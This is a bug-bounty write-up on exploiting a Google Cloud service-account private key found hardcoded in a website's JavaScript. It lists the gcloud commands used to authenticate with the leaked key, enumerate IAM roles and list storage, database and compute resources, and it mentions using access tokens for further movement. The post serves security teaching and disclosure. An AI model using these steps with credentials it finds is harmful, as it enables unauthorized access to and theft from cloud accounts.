This is a practical guide you may find useful if you ever come across a Google Cloud service account private key during web application testing or bug bounty program.

Process Flow

JavaScript files → Hardcoded credentials → Google Cloud SDK access

Step 1: Look into JavaScript Files

While analyzing JavaScript files of a redacted target, I noticed hardcoded credentials exposed in the frontend code.

"private_key": "-----BEGIN PRIVATE KEY----- (VALUE) -----END PRIVATE KEY-----"

Alongside it, another critical value was present:

"client_email": "[email protected]"

At this point, the obvious question is: where and how can this be used?

Step 2: Verify Whether the Private Key Is Valid (Optional)

Before attempting any interaction with Google Cloud, it’s useful to confirm whether the key is valid.

How to verify the private key

1. Open any text editor

2. Paste the private key exactly as found

• Ensure it includes
  -----BEGIN PRIVATE KEY-----
  and
  -----END PRIVATE KEY-----
• Save the file as key.pem

Now run:

openssl pkey -in key.pem -text -noout

What this tells you

If OpenSSL prints details such as:

• modulus
• publicExponent
• privateExponent
• prime1, prime2
• exponent1, exponent2
• coefficient

It means:

“This is a valid RSA private key, and it was parsed successfully.”

This does not confirm access only that the key format is correct.

Step 4: Prepare the Service Account Key File

Create a JSON file (for example, creds.json) and place the client email and private key in the standard service account format

For example :

{
  "type": "service_account",
  "client_email": "[email protected]",
  "private_key": "-----BEGIN PRIVATE KEY-----\n Value\n-----END PRIVATE KEY-----\n"
}

Make sure line breaks (\n) are preserved correctly inside the private key.

Run the commands :

gcloud auth activate-service-account --key-file=/path/to/<filename>.json

Commands to list out projects related to the service account

gcloud projects list

• PROJECT_ID → Unique string identifier (used in commands, APIs).
  • NAME → Human-readable display name of the project.
  • PROJECT_NUMBER → Unique numeric identifier assigned by Google Cloud.
• NOTE : gcloud auth list (Make sure to run these )

2nd Command to test

gcloud projects get-iam-policy PROJECT_ID --filter="bindings.members:serviceAccount:client_email"

This lists IAM roles assigned to that service account, helping to enumerate what actions it can perform. Make sure to look thoroughly to it , as in my case it gave quite good information as I could map exactly which user has what roles access using which service accounts .

Tip : If you want more cleaner output use the following command

gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --format="table(bindings.role,bindings.members)"

List Available Resources

Depending on assigned permissions, try to list accessible resources:

• List Firestore databases :

gcloud firestore databases list --project=PROJECT_ID

• List Google Cloud Storage buckets:

gcloud storage buckets list --project=PROJECT_ID

• List Compute Engine instances:

gcloud compute instances list --project=PROJECT_ID

• List BigQuery datasets:

gcloud bigquery datasets list --project=PROJECT_ID

Access Tokens and API Calls

Use the active service account’s access token to make authenticated API calls against Google Cloud APIs to extract data relevant to the app.

gcloud auth print-access-token

With this token, you can query APIs directly using curl or API clients, revealing more insights depending on permissions.

Note : This can be escalated in many ways and different scenarios can be used to further move across the environment .

If you are feeling lazy just use GCP_Enum Tool.

Reporting

The affected organization did not have a formal bug bounty or vulnerability disclosure program in place. The issue was reported responsibly and has since been fixed.
Details have been intentionally limited and anonymized, as requested , to avoid unnecessary exposure and any legal complications as its a well known brand in India.

Disclaimer

This focuses on understanding exposure risk .
Always test within scope, avoid destructive actions, and follow responsible disclosure practices when reporting such issues.

If you’re working on bug bounties or encounter similar scenarios, I’d be happy to collaborate .
Connect with me on LinkedIn:
👉 https://www.linkedin.com/in/arkadeep-roy/